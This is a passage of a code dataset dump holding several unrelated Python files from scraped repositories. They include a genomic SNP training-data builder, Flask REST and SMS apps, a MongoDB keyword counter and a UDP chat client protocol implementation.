\"PENCIL-REMOVE-TEAM\":\n teams.remove({\"Name\":leaf})\n message = \"Removed \" + leaf\n\n elif len(tokens) == 1:\n root = tokens[0]\n if root.upper() == \"?\":\n message = stock_messages[\"Help\"]\n\n resp = twilio.twiml.Response()\n resp.sms(message)\n\n return str(resp)\n\nif __name__ == \"__main__\":\n app.run()\n\n\n\n\n\n","sub_path":"run2019.py","file_name":"run2019.py","file_ext":"py","file_size_in_byte":9754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"614622089","text":"import pysam\nimport random\n\nref_file = open('hg19_chr21.fa', 'r')\nref_data = ref_file.read()\n\nsnp_file = open('read.txt', 'r')\nsnp_data = snp_file.read().split('\\n')\nsnp_pos = [0] * 10000\n\nsamfile = pysam.AlignmentFile('read.bam', 'rb')\n\ntrain_file = open('learn_train.csv', 'w')\nvalidation_file = open('learn_val.csv', 'w')\ntest_file = open('learn_test.csv', 'w')\n\nqual_cost = {'!': 0, '\"': 1, '#': 2, '$': 3, '%': 4, '&': 5, \"'\": 6,\n '(': 7, ')': 8, '*': 9, '+': 10, ',': 11, '-': 12, '.': 13,\n '/': 14, '0': 15, '1': 16, '2': 17, '3': 18, '4': 19, '5': 20,\n '6': 21, '7': 22, '8': 23, '9': 24, ':': 25, ';': 26, '<': 27,\n '=': 28, '>': 29, '?': 30, '@': 31, 'A': 32, 'B': 33, 'C': 34,\n 'D': 35, 'E': 36, 'F': 37, 'G': 38, 'H': 39, 'I': 40, 'J': 41}\ngene_one_hot = {'A':[1, 0, 0, 0], 'T':[0, 1, 0, 0], 'G':[0, 0, 1, 0], 'C':[0, 0, 0, 1]}\n\nresult = []\npos_dic = {}\nmax_total = 0\n\nfor i in range(10000):\n snp_pos[i] = snp_data[i].split('(')[0]\nsnp_pos.sort()\n\nfor i in range(10000):\n for pileupcolumn in samfile.pileup('chr21', int(snp_pos[i]) - 10, int(snp_pos[i]) + 10):\n if (pileupcolumn.pos < int(snp_pos[i]) - 10 or pileupcolumn.pos >= int(snp_pos[i]) + 10) or pileupcolumn.n == 0:\n continue\n here_is_snp = 0\n for j in range(i - 10, i + 10):\n if j>=0 and j<10000 and pileupcolumn.pos!=int(snp_pos[i])-1 and pileupcolumn.pos==int(snp_pos[j])-1:\n here_is_snp = 1\n break\n if here_is_snp == 1:\n continue\n gene_count = 0\n qual_value = {'A':0, 'T':0, 'G':0, 'C':0}\n for pileupread in pileupcolumn.pileups:\n if not pileupread.is_del and not pileupread.is_refskip:\n gene = pileupread.alignment.query_sequence[pileupread.query_position]\n qual = pileupread.alignment.qual[pileupread.query_position]\n gene_count += 1\n qual_value[gene.upper()] += qual_cost[qual]\n if gene_count == 0:\n continue\n for k in qual_value.keys():\n qual_value[k]/=(41*gene_count)\n qual_data=[qual_value['A'],qual_value['T'],qual_value['G'],qual_value['C']]\n\n max_total = max(max_total, gene_count)\n\n pos_in_file = int(pileupcolumn.pos / 50) * 51 + pileupcolumn.pos % 50 + 7\n ref_gene = ref_data[pos_in_file]\n data = ref_gene\n for num in range(4):\n data += \"/\" + str(qual_data[num])\n\n snp = 0\n if pileupcolumn.pos == int(snp_pos[i]) - 1:\n snp = 1\n\n data += \"/\" + str(gene_count) + \"/\" + str(snp)\n pos_dic[data] = pileupcolumn.pos\n\ndata_list = list(pos_dic.keys())\nrandom.shuffle(data_list)\n\ndef write_data(fname, gene_pos, gene_one_hot, data_set, max_total):\n ref_one_hot = gene_one_hot[data_set[0].upper()]\n fname.write(\"%s, %s, %s, %s, %s, \" % (\n gene_pos, ref_one_hot[0], ref_one_hot[1], ref_one_hot[2], ref_one_hot[3]))\n fname.write(\"%s, %s, %s, %s, \" % (data_set[1], data_set[2], data_set[3], data_set[4]))\n fname.write(\"%s, %s, %s\\n\" % (int(data_set[5]) / (max_total*2), data_set[6], int(not int(data_set[6]))))\n\nsnp_num = 0\nnon_snp = 0\nfor num in range(len(data_list)):\n data_set = data_list[num].split('/')\n gene_pos=pos_dic[data_list[num]]\n if int(data_set[6]) == 0:\n if non_snp < 8000:\n write_data(train_file, gene_pos, gene_one_hot, data_set, max_total)\n elif non_snp < 9600:\n write_data(validation_file, gene_pos, gene_one_hot, data_set, max_total)\n elif non_snp < 14600:\n write_data(test_file, gene_pos, gene_one_hot, data_set, max_total)\n non_snp += 1\n else:\n if snp_num < 8000:\n write_data(train_file, num, gene_one_hot, data_set, max_total)\n elif snp_num < 8400:\n write_data(validation_file, gene_pos, gene_one_hot, data_set, max_total)\n else:\n write_data(test_file, gene_pos, gene_one_hot, data_set, max_total)\n snp_num += 1\n\nref_file.close()\nsnp_file.close()\nsamfile.close()\ntrain_file.close()\nvalidation_file.close()\ntest_file.close()\n","sub_path":"restart_learning/make_train_data.py","file_name":"make_train_data.py","file_ext":"py","file_size_in_byte":4151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"326033226","text":"\"\"\"\n\nScript to normalize the data in /Data and \n\nAuthor: jweber\nDate: 09.03.2020\n\"\"\"\n\nimport pandas as pd \nimport numpy as np \n\ndef load_normalize_data(normalize=True):\n\n data = pd.read_csv('../Data/Table_alpha_Data.txt', header=0, dtype=np.float64)\n assert(np.any(data.isna()) == False), \"There are NaN's in the dataframe - please check this!\"\n\n descriptors = {\n \"min\": data.min().values,\n \"max\": data.max().values\n }\n\n if normalize:\n data = (data - data.min()) / (data.max() - data.min())\n\n return (data, descriptors)\n\n","sub_path":"Code/data_preprocessing.py","file_name":"data_preprocessing.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"248526950","text":"\nfrom flask_restful import Resource, reqparse\nfrom flask_jwt import jwt_required\nfrom models.items import ItemModel\n\n\n\nclass Item(Resource):\n\tparser = reqparse.RequestParser()\n\tparser.add_argument('price', type=float, required=True, help= 'Required')\n\tparser.add_argument('store_id', type=int, required=True, help= 'Required')\n\t\t\n\t@jwt_required()\n\tdef get(self,name):\n\t\titem = ItemModel.find_by_name(name)\n\t\tif item:\n\t\t\treturn item.json()\n\t\treturn {'message' : 'Item does not exists'}\n\t\n\t\n\t\n\t\n\tdef post(self,name):\n\t\tif ItemModel.find_by_name(name):\n\t\t\treturn {'message' : 'Item already exists'}\n\n\t\tdata = Item.parser.parse_args()\n\n\t\titem = ItemModel(name, data['price'], data['store_id'])\n\t\t\n\t\ttry: \n\t\t\titem.savetodb()\n\t\texcept:\n\t\t\t{'message' : 'An error occured'}\n\t\treturn item.json()\n\n\tdef delete(self,name):\n\t\titem = ItemModel.find_by_name(name)\n\t\tif item:\n\t\t\titem.delete()\n\t\t\n\t\treturn {'message' : 'Item deleted successfully'}\t\t\n\n\tdef put(self, name):\n\t\t\n\t\tdata = Item.parser.parse_args()\n\t\titem = ItemModel.find_by_name(name)\n\t\t\n\t\t\n\t\tif item is None:\t\t\n\t\t\titem = ItemModel(name, data['price'], data['store_id'])\n\t\telse:\n\t\t\titem.price = data['price']\n\t\t\n\t\titem.savetodb()\n\n\t\treturn item.json()\n\n\t\n\n\nclass Itemlist(Resource):\n\tdef get(self):\n\t\treturn {'item': [item.json() for item in ItemModel.query.all()]}\n","sub_path":"resources/items.py","file_name":"items.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"69764705","text":"# -*- coding: utf-8 -*-\n\"\"\"\nConfigs for DNN + CE\n\"\"\"\n\nfrom src.utils.vegab import ConfigRegistry\n\nconfig = ConfigRegistry()\n\nconfig.set_root_config({\n 'batch_size': 200,\n 'epochs': 30,\n 'rel_init': 0.02,\n 'rel_vec_size': 200,\n 'activation': 'relu',\n 'hidden_units': 1000,\n 'optimizer': 'adagrad',\n 'data_dir': 'LiACL/conceptnet_my/',\n 'l2': 1e-6, # \"cost_new = (1000*loss) +(self.LC * l2_penalty1)\" from original code ;)\n # 'lambda_2': 0.0, # Matrix for relation matrix # No identity matrix in DNN CE\n 'learning_rate': 0.01,\n 'embedding_file': 'embeddings/LiACL/embeddings_OMCS.txt',\n 'use_embedding': True,\n 'batch_norm': False,\n 'random_seed': 0,\n\n \"regenerate_ns_eval\": False,\n\n # Negative sampler\n 'negative_sampling': 'uniform', # or \"argsim\"\n 'negative_threshold': 0.0, # Weigt used in threshold in argsim\n \"ns_embedding_file\": 'embeddings/LiACL/embeddings_OMCS.txt',\n\n 'eval_k': 1, # Number of neg samples in eval\n})\n","sub_path":"src/configs/configs_dnn_ce.py","file_name":"configs_dnn_ce.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"333846655","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nSpyder Editor\r\n\r\nThis is a temporary script file.\r\n\"\"\"\r\n\r\nclass Solution:\r\n def countPrimes(self, n: int) -> int:\r\n if n<2:\r\n return 0\r\n nums = [None] * n\r\n nums[0], nums[1] = False, False\r\n for i in range(n):\r\n if nums[i] == None:\r\n nums[i] = True\r\n for j in range(i+i, n, i):\r\n nums[j] = False\r\n return sum(nums)\r\n","sub_path":"Math/esay-Count Primes.py","file_name":"esay-Count Primes.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"346918512","text":"# encoding: UTF-8\nimport sys\nimport json\nimport datetime\nfrom pymongo import MongoClient, ASCENDING\nfrom Object import NewsData\n#from util import filter_tags,convertISODate\nfrom collections import Counter\n\n# 加载配置\nconfig = open('./schedulerTask/config.json')\n#config = open('config.json')\nsetting = json.load(config)\n\nMONGO_HOST = setting['MONGO_HOST']\nMONGO_PORT = setting['MONGO_PORT']\nNews_DB_NAME = setting['News_DB_NAME']\nRSS_SOURCE = setting[\"RSS_SOURCE\"]\nRSS_HOTS = setting[\"RSS_HOTS\"]\n\nmc = MongoClient(MONGO_HOST, MONGO_PORT) # Mongo连接\ndb = mc[News_DB_NAME] # 数据库\n\n\n\n\ndef keywordCount():\n cl = db[\"keyword_count\"]\n cl.ensure_index([('datetime', ASCENDING)], unique=True) # 添加索引 \n \n start = datetime.datetime.utcnow().isoformat()\n end = (datetime.datetime.utcnow()-datetime.timedelta(days=3)).isoformat()\n count_frq = Counter()\n useless_eyword = ['11','...','编辑','时间','来源','责任编辑','记者']\n cl_news = db[\"news_data\"]\n for row in cl_news.find({'published': {'$lt': start, '$gte': end }}):\n #print(row['tags'])\n for keyword in row['tags']:\n #print(keyword)\n if keyword in useless_eyword:\n #print(keyword)\n row['tags'].remove(keyword)\n #print(row['tags'])\n count_frq.update(row['tags'])\n dict_count_frq = dict(count_frq.most_common(1000))\n current_date = datetime.datetime.now()\n flt = {'datetime': str(current_date)}\n cl.replace_one(flt, {\"datetime\":current_date, \"frq\": dict_count_frq}, True)\n\n\ndef keywordCountSchedulerTaskJob():\n keywordCount()\n\nif __name__ == \"__main__\":\n keywordCountSchedulerTaskJob()\n\n","sub_path":"runWebsite/schedulerTask/newsSpider/jobKeywordCount.py","file_name":"jobKeywordCount.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"451405019","text":"# -*- coding: utf-8 -*-\nfrom twisted.internet.protocol import DatagramProtocol\nfrom c2w.main.lossy_transport import LossyTransport\nimport logging\nimport struct\nfrom twisted.internet import reactor\nimport math\nfrom math import pow\nimport c2w\nfrom c2w.main.client_model import c2wClientModel\nfrom c2w.main.constants import ROOM_IDS\nlogging.basicConfig()\nmoduleLogger = logging.getLogger('c2w.protocol.udp_chat_client_protocol')\n\n\nclass c2wUdpChatClientProtocol(DatagramProtocol):\n\n\n\tdef __init__(self, serverAddress, serverPort, clientProxy, lossPr):\n\t\t\"\"\"\n\t\t:param serverAddress: The IP address (or the name) of the c2w server,\n\t\tgiven by the user.\n\t\t:param serverPort: The port number used by the c2w server,\n\t\tgiven by the user.\n\t\t:param clientProxy: The clientProxy, which the protocol must use\n\t\tto interact with the Graphical User Interface.\n\n\t\tClass implementing the UDP version of the client protocol.\n\n\t\t.. note::\n\t\tYou must write the implementation of this class.\n\n\t\tEach instance must have at least the following attributes:\n\n\t\t.. attribute:: serverAddress\n\n\t\tThe IP address of the c2w server.\n\n\t\t.. attribute:: serverPort\n\n\t\tThe port number of the c2w server.\n\n\t\t.. attribute:: clientProxy\n\n\t\tThe clientProxy, which the protocol must use\n\t\tto interact with the Graphical User Interface.\n\n\t\t.. attribute:: lossPr\n\n\t\tThe packet loss probability for outgoing packets. Do\n\t\tnot modify this value! (It is used by startProtocol.)\n\n\t\t.. note::\n\t\tYou must add attributes and methods to this class in order\n\t\tto have a working and complete implementation of the c2w\n\t\tprotocol.\n\t\t\"\"\"\n\n #: The IP address of the c2w server.\n\t\tself.serverAddress = serverAddress\n #: The port number of the c2w server.\n\t\tself.serverPort = serverPort\n #: The clientProxy, which the protocol must use\n #: to interact with the Graphical User Interface.\n\t\tself.clientProxy = clientProxy\n\t\tself.c2wClientModel = c2wClientModel()\n\t\tself.lossPr = lossPr\n\t\tself.last_event_id =0\n\t\tself.seq = 0\n\t\tself.userID = 0\n\t\tself.roomID = 0\n\t\tself.dstRoomID = 0\n\t\tself.init = False\n\t\tself.messageType = 0x00\n\t\tself.movieList = []\n\t\tself.userList = []\n\t\tself.logged = False\n\t\tself.responses = []\n\t\tself.lastDGTreated = None\n\t\tself.logged = False\n\t\t\n\tdef incrementSeq(self) :\n\t\tif (self.seq > 65535) :\n\t\t\tself.seq = 0\n\t\telse :\n\t\t\tself.seq += 1\n \n\tdef startProtocol(self):\n\t\t\"\"\"\n\t\tDO NOT MODIFY THE FIRST TWO LINES OF THIS METHOD!!\n\n\t\tIf in doubt, do not add anything to this method. Just ignore it.\n\t\tIt is used to randomly drop outgoing packets if the -l\n\t\tcommand line option is used.\n\t\t\"\"\"\n\t\tself.transport = LossyTransport(self.transport, self.lossPr)\n\t\tDatagramProtocol.transport = self.transport\n\n\t\t\t\n\t#--------this function verifies every 60s if the user is connected. If he's not, the application is closed--------------\t\t\t\t\n\tdef verifyConnexion(self):\n\t\tif(self.connected == False):\n\t\t\tself.clientProxy.applicationQuit()\n\t\telse:\n\t\t\tself.connected = False\n\t\t\treactor.callLater(60, self.verifyConnexion)\n\t\n\t#GET_PING send a message to the server asking for the last event of the room where the user is\n\tdef getPing(self, initial):\n\t\tself.messageType = 0x4\n\t\tmsgLength = 4\n\t\tbuf = bytearray(10)\n\t\tlast_event_id_2fb = (self.last_event_id & int('111111111111111100000000',2)) >> 8 #retrieve two first bytes in event_id\n\t\tlast_event_id_lb = (self.last_event_id) & 255 #retrieve last byte in event_id\n\t\tstruct.pack_into('!BHBHHBB', buf, 0, self.messageType, self.seq, self.userID, msgLength, last_event_id_2fb, last_event_id_lb, self.roomID)\n\t\t\n\t\tif self.logged == True :\n\t\t\tself.transport.write(buf, (self.serverAddress, self.serverPort))\n\t\t\tseq = self.seq\n\t\t\tmsgType = self.messageType\n\t\t\tself.incrementSeq()\n\t\t\treactor.callLater(0.5, self.verifyResponse, buf, seq, msgType) # if we don't receive response after 500ms, the GET_PING request is resent\n\t\t\tif initial == True:\n\t\t\t\treactor.callLater(1, self.getPing, True)# this method is called every second, True means it's not a message retry, so it can call a new get ping after a second\n\t\t\telse:\n\t\t\t\tpass\n\t\telse :\n\t\t\tpass\n\t\n\t#split in groups of 254 the number of events to be asked to the server\n\tdef getEvents(self, numberOfEvents): \n\t\tnbIterations = math.ceil(numberOfEvents/254) #we calculate the number of times it will be necessary to ask for events eg: 300/254 = 1.18 -> 2 times \n\t\twhile(nbIterations != 0):\n\t\t\tif(numberOfEvents/254 >= 1):\n\t\t\t\tnbDemande = 254\n\t\t\t\tnumberOfEvents -= 254\n\t\t\telse:\n\t\t\t\tnbDemande = numberOfEvents\n\t\t\tself.events(nbDemande)\n\t\t\tnbIterations -= 1\n\t\n\t#pack and send to the server the GET_EVENTS request\n\tdef events(self, nbDemande) :\n\t\tself.messageType = 0x6\n\t\tmsgLength = 5\n\t\tbuf = bytearray(11)\n\t\tlast_event_id_2fb = (self.last_event_id & int('111111111111111100000000',2)) >> 8\n\t\tlast_event_id_lb = (self.last_event_id) & 255\n\t\tstruct.pack_into('!BHBHHBBB', buf, 0, self.messageType, self.seq, self.userID, msgLength, last_event_id_2fb, last_event_id_lb, nbDemande, self.roomID)\n\t\tself.transport.write(buf, (self.serverAddress, self.serverPort))\n\t\tseq = self.seq\n\t\tmsgType = self.messageType\n\t\tself.incrementSeq()\n\t\treactor.callLater(0.5, self.verifyResponse, nbDemande, seq, msgType) #after a half second, we call a function that checks if the response was received \n\t\n\t#PUT_LOGIN send a message to the server to inform it of the user's wish to enter the server\t\n\tdef sendLoginRequestOIE(self, userName):\n\t\t\"\"\"\n\t\t:param string userName: The user name that the user has typed.\n\n\t\tThe client proxy calls this function when the user clicks on\n\t\tthe login button.\n\t\t\"\"\"\n\t\tmoduleLogger.debug('loginRequest called with username=%s', userName)\n\t\tself.messageType = 0x00\n\t\tusernameLength = len(userName.encode('utf-8')) #len returns the number of characters \n\t\tmsgLength = usernameLength + 1 # 1 for UL field\n\t\tbuf = bytearray(7+usernameLength) #2 bytes for seq, 1 for userID,...\n\t\tstruct.pack_into('!BHBHB'+str(usernameLength)+'s', buf, 0, self.messageType, self.seq, self.userID, msgLength, usernameLength, userName.encode('utf-8')) \n\t\tself.transport.write(buf, (self.serverAddress, self.serverPort))\n\t\tseq = self.seq\n\t\tmsgType = self.messageType\n\t\tself.incrementSeq()\n\t\treactor.callLater(0.5, self.verifyResponse, userName, seq, msgType) #after a half second, we call a function that checks if the response was received\n\n\t#PUT_NEW_MESSAGE send a message to the server with the text the user has typed in the chatroom wether it is in the MAIN_ROOM or a MOVIE_ROOM\n\tdef sendChatMessageOIE(self, message):\n\t\t\"\"\"\n\t\t:param message: The text of the chat message.\n\t\t:type message: string\n\n\t\tCalled by the client proxy when the user has decided to send\n\t\ta chat message\n\n\t\t.. note::\n\t\t This is the only function handling chat messages, irrespective\n\t\t of the room where the user is. Therefore it is up to the\n\t\t c2wChatClientProctocol or to the server to make sure that this\n\t\t message is handled properly, i.e., it is shown only by the\n\t\t client(s) who are in the same room.\n\t\t\"\"\"\n\t\tself.messageType = 0x0E\n\t\tmsgLength = 1 + 2 + len(message) #1 byte for room_id, 2 for text length...\n\t\tbuf = bytearray(9+len(message)) #2 bytes for seq, 1 pour userID,...\n\t\tstruct.pack_into('!BHBHBH'+str(len(message))+'s', buf, 0, self.messageType, self.seq, self.userID, msgLength, self.roomID, len(message), message.encode('utf-8'))\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t #the result is saved in buf\n\t\tself.transport.write(buf, (self.serverAddress, self.serverPort))\n\t\tseq = self.seq\n\t\tmsgType = self.messageType\n\t\tself.incrementSeq()\n\t\treactor.callLater(0.5, self.verifyResponse, message, seq, msgType) #after a half second, we call a function that checks if the response was received\n\t\n\t#PUT_SWITCH_ROOM send a message to the server to inform it of the user's wish to change rooms\n\tdef sendJoinRoomRequestOIE(self, roomName):\n\t\t\"\"\"\n\t\t:param roomName: The room name (or movie title.)\n\n\t\tCalled by the client proxy when the user\n\t\thas clicked on the watch button or the leave button,\n\t\tindicating that she/he wants to change room.\n\n\t\t.. warning:\n\t\t\tThe controller sets roomName to\n\t\t\tROOM_IDS.MAIN_ROOM when the user\n\t\t\twants to go back to the main room.\n\t\t\"\"\"\n\t\tif (roomName == ROOM_IDS.MAIN_ROOM) :\n\t\t\tself.dstRoomID = 0\n\t\telse :\n\t\t\troom = self.c2wClientModel.getMovieByTitle(roomName) \n\t\t\tself.dstRoomID = room.movieId\n\t\tself.messageType = 0x0C\n\t\tmsgLength = 1 #1 for ROOM_ID\n\t\tbuf = bytearray(7)\n\t\tstruct.pack_into('!BHBHB', buf, 0, self.messageType, self.seq, self.userID, msgLength, self.dstRoomID)\n\t\tself.transport.write(buf, (self.serverAddress, self.serverPort))\n\t\tseq = self.seq\n\t\tmsgType = self.messageType\n\t\tself.incrementSeq()\n\t\treactor.callLater(0.5, self.verifyResponse, roomName, seq, msgType) #after a half second, we call a function that checks if the response was received\n\n\t#PUT_LOGOUT send a message to the server to inform it of the user's wish to leave the server\n\tdef sendLeaveSystemRequestOIE(self):\n\t\t\"\"\"\n\t\tCalled by the client proxy when the user\n\t\thas clicked on the leave button in the main room.\n\t\t\"\"\"\n\t\tself.messageType = 0x02\n\t\tmsgLength = 0\n\t\tbuf = bytearray(6) \n\t\tstruct.pack_into('!BHBH', buf, 0, self.messageType, self.seq, self.userID, msgLength)\n\t\tself.transport.write(buf, (self.serverAddress, self.serverPort))\n\t\tseq = self.seq\n\t\tmsgType = self.messageType\n\t\tself.incrementSeq()\n\t\treactor.callLater(0.5, self.verifyResponse, buf, seq, msgType) #after a half second, we call a function that checks if the response was received\n\n\t# GET_ROOMS send a message to the server to ask for the list of movies\t\n\tdef getRooms(self) :\n\t\tself.messageType = 0x08\n\t\tmsgLength = 2 #1 for FIRST_ROOM_ID 1 for NBR_ROOMS\n\t\tbuf = bytearray(8) \n\t\tstruct.pack_into('!BHBHBB', buf, 0, self.messageType, self.seq, self.userID, msgLength, 1, 255)\n\t\tself.transport.write(buf, (self.serverAddress, self.serverPort))\n\t\tseq = self.seq\n\t\tmsgType = self.messageType\n\t\tself.incrementSeq()\n\t\treactor.callLater(0.5, self.verifyResponse, buf, seq, msgType) #after a half second, we call a function that checks if the response was received\n\t\n\t#GET_USERS send a message to the user to ask for the list of users in the server (MAIN_ROOM) or in the room (MOVIE_ROOM)\n\tdef getUsers(self, roomID) :\n\t\tself.messageType = 0x0A\n\t\tmsgLength = 3 \n\t\tbuf = bytearray(9) \n\t\tstruct.pack_into('!BHBHBBB', buf, 0, self.messageType, self.seq, self.userID, msgLength, 1, 255, self.roomID)\n\t\tself.transport.write(buf, (self.serverAddress, self.serverPort))\n\t\tseq = self.seq\n\t\tmsgType = self.messageType\n\t\tself.incrementSeq()\n\t\treactor.callLater(0.5, self.verifyResponse, roomID, seq, msgType) #after a half second, we call a function that checks if the response was received\n\t\n\t#unpack the RESPONSE_USERS datagram and return the list of users received (userName, userRoom)\n\tdef unpackUsersList(self, datagram) :\n\t\tusersPack = struct.unpack('!BHBHB'+str(len(datagram)-7)+'s', datagram)\n\t\tnbUsers = usersPack[4]\n\t\tusers = usersPack[5] #USERS list (variable length)\n\t\tlistUsers = users\n\t\tuserTuples=[]\n\t\twhile (nbUsers != 0) :\n\t\t\tuser1 = struct.unpack('!BB'+str(len(listUsers)-2)+'s', listUsers) #separate USER_ID, UL and the rest\n\t\t\tuser11 = struct.unpack('!'+str(user1[1])+'sB'+str(len(user1[2])-user1[1]-1)+'s', user1[2]) #separate USERNAME, ROOM_ID and the rest\n\t\t\tuserID = user1[0]\n\t\t\tuserName = user11[0].decode('utf-8')\n\t\t\troomID = user11[1]\n\t\t\tif (roomID == 0) :\n\t\t\t\tuserRoom = ROOM_IDS.MAIN_ROOM\n\t\t\t\tmovieName = userRoom\n\t\t\telse :\n\t\t\t\tuserRoom = ROOM_IDS.MOVIE_ROOM\n\t\t\t\tif self.init == True : #for loggin initialisation, we just need to know if the user is in the main room or in the movie room\n\t\t\t\t\tmovieName = userRoom\n\t\t\t\telse :\n\t\t\t\t\tmovie = self.c2wClientModel.getMovieById(roomID)\n\t\t\t\t\tmovieName = movie.movieTitle\n\t\t\tuserTuples.append((userName, userRoom)) #add USERNAME and ROOM_ID to the list of pair\n\t\t\tuser=self.c2wClientModel.getUserByName(userName)\n\t\t\tif user != None :\n\t\t\t\tpass\n\t\t\telse :\n\t\t\t\tself.c2wClientModel.addUser(userName, userID, movieName) #store user informations\n\t\t\tnbUsers-=1\n\t\t\tlistUsers = user11[2] #make the initial packet equal to the rest, in order to retrieve the other users through further iterations\n\t\t\tself.c2wClientModel.updateUserChatroom(userName, userRoom)\n\t\t\tif (self.init == False) : \n\t\t\t\tself.clientProxy.userUpdateReceivedONE(userName, movieName) #won't be execute for the initial response user\n\t\t\telse :\n\t\t\t\tpass\n\t\treturn userTuples\n\t\n\t#unpack the RESPONSE_ROOMS datagram and return the list of movies received (movieTitle, movieIP, moviePort)\n\tdef unpackRoomsList(self, datagram) :\n\t\tmoviesPack = struct.unpack('!BHBHB'+str(len(datagram)-7)+'s', datagram)\n\t\tnbMovies = moviesPack[4]\n\t\tmovies = moviesPack[5]\n\t\tlistMovies = movies\t\n\t\tmoviesTriplets=[]\n\t\twhile (nbMovies != 0) :\n\t\t\tmovie1 = struct.unpack('!B4BHB'+str(len(listMovies)-8)+'s', listMovies) #separate ROOM_ID, IP, PORT_NUMBER, RNL and the rest\n\t\t\tmovieID = movie1[0]\n\t\t\tmoviePort = movie1[5]\n\t\t\tmovieIP = str(movie1[1])+\".\"+str(movie1[2])+\".\"+str(movie1[3])+\".\"+str(movie1[4])\n\t\t\tmovie11 = struct.unpack('!'+str(movie1[6])+'sB'+str(len(movie1[7])-movie1[6]-1)+'s', movie1[7]) #separate ROOM_NAME, NBR_USERS and the rest\n\t\t\tmovieTitle = movie11[0].decode('utf-8')\n\t\t\tmoviesTriplets.append((movieTitle, movieIP, moviePort)) #add ROOM_NAME, IP and PORT_NUMBER to the list of triplets\n\t\t\tself.c2wClientModel.addMovie(movieTitle, movieIP, moviePort, movieID) #store movie informations\n\t\t\tnbMovies-=1\n\t\t\tlistMovies = movie11[2] #make the initial packet equal to the rest, in order to retrieve the other videos through further iterations\n\t\tprint (moviesTriplets)\n\t\treturn moviesTriplets\n\t\n\t#unpack the RESPONSE_EVENTS datagram and execute the necessary updates\n\tdef unpackEvents(self, datagram) :\n\t\teventsPack = struct.unpack('!BHBHB'+str(len(datagram)-7)+'s', datagram) #separate MESSAGE_TYPE, SEQ_NUMBER, USER_ID, MESSAGE_LENGTH (header), NBR_EVENTS and the events\n\t\tnbEvents = eventsPack[4]\n\t\tevents = eventsPack[5]\n\t\twhile(nbEvents != 0) :\n\t\t\tevent1 = struct.unpack('!HBBBB'+str(len(events)-6)+'s', events) #separate EVENT_ID, EVENT_TYPE, ROOM_ID, USER_ID, and the rest\n\t\t\tself.last_event_id = (event1[0]<<8)|event1[1]\n\t\t\troomID = event1[3]\n\t\t\tuserID = event1[4]\n\t\t\teventType = event1[2]\n\t\t\t\n\t\t\t#MESSAGE event: MESSAGE_LENGTH, MESSAGE\n\t\t\tif (eventType==0x1) :\n\t\t\t\tevent11 = struct.unpack('!H'+str(len(event1[5])-2)+'s', event1[5]) #separate MESSAGE_LENGTH (chat) and the rest\n\t\t\t\tevent111 = struct.unpack('!'+str(event11[0])+'s'+str(len(event11[1])-event11[0])+'s', event11[1]) #separate MESSAGE and the rest\n\t\t\t\tmessage = event111[0].decode('utf-8')\n\t\t\t\tuser = self.c2wClientModel.getUserById(userID) #retrieve the user using USER_ID\n\t\t\t\tuserName = user.userName\n\t\t\t\tif userID != self.userID and self.roomID == roomID : #print the msg only if the message is from another user in the same room. (care of duplication)\n\t\t\t\t\tself.clientProxy.chatMessageReceivedONE(userName, message)\n\t\t\t\telse :\n\t\t\t\t\tpass\n\t\t\t\tevents = event111[1]\n\t\t\t\t\n\t\t\t#NEW_USER event: USERNAME_LENGTH, USERNAME\n\t\t\telif (eventType==0x2) :\n\t\t\t\tevent11 = struct.unpack('!B'+str(len(event1[5])-1)+'s', event1[5]) #separate UL and the rest\n\t\t\t\tevent111 = struct.unpack('!'+str(event11[0])+'s'+str(len(event11[1])-event11[0])+'s', event11[1]) #separate USERNAME and the rest\n\t\t\t\tif (roomID == 0) :\n\t\t\t\t\tuserRoom = ROOM_IDS.MAIN_ROOM\n\t\t\t\t\tmovieName= userRoom\n\t\t\t\telse :\n\t\t\t\t\tuserRoom = ROOM_IDS.MOVIE_ROOM\n\t\t\t\t\tmovie = self.c2wClientModel.getMovieById(roomID)\n\t\t\t\t\tmovieName = movie.movieTitle\n\t\t\t\tuserName = event111[0].decode('utf-8')\n\t\t\t\tuser=self.c2wClientModel.getUserByName(userName)\n\t\t\t\tif user != None : #prevent to add user if he exists, because we add user after response user.\n\t\t\t\t\tpass\n\t\t\t\telse :\n\t\t\t\t\tself.c2wClientModel.addUser(userName, userID, movieName) #store user informations\n\t\t\t\tself.c2wClientModel.updateUserChatroom(userName, userRoom)\n\t\t\t\tself.clientProxy.userUpdateReceivedONE(userName, movieName)\n\t\t\t\tevents = event111[1]\n\t\t\t\n\t\t\t#SWITCH_ROOM event: NEW_ROOM_ID\n\t\t\telif (eventType==0x3) :\n\t\t\t\tevent11 = struct.unpack('!B'+str(len(event1[5])-1)+'s', event1[5]) #separate NEW_ROOM_ID and the rest\n\t\t\t\tnewRoomID = event11[0]\n\t\t\t\tif (newRoomID == 0) :\n\t\t\t\t\troom = ROOM_IDS.MAIN_ROOM\n\t\t\t\t\tmovieName = room\n\t\t\t\telse :\n\t\t\t\t\troom = ROOM_IDS.MOVIE_ROOM\n\t\t\t\t\tmovie = self.c2wClientModel.getMovieById(newRoomID)\n\t\t\t\t\tmovieName = movie.movieTitle\n\t\t\t\tuser = self.c2wClientModel.getUserById(userID) #retrieve the user using USER_ID\t\n\t\t\t\tuserName = user.userName\n\t\t\t\tself.c2wClientModel.updateUserChatroom(userName, room)\n\t\t\t\tself.clientProxy.userUpdateReceivedONE(userName, movieName)\n\t\t\t\tevents = event11[1]\n\t\t\t\n\t\t\t#LOGOUT event:\n\t\t\telif (eventType==0x4) :\n\t\t\t\tuser = 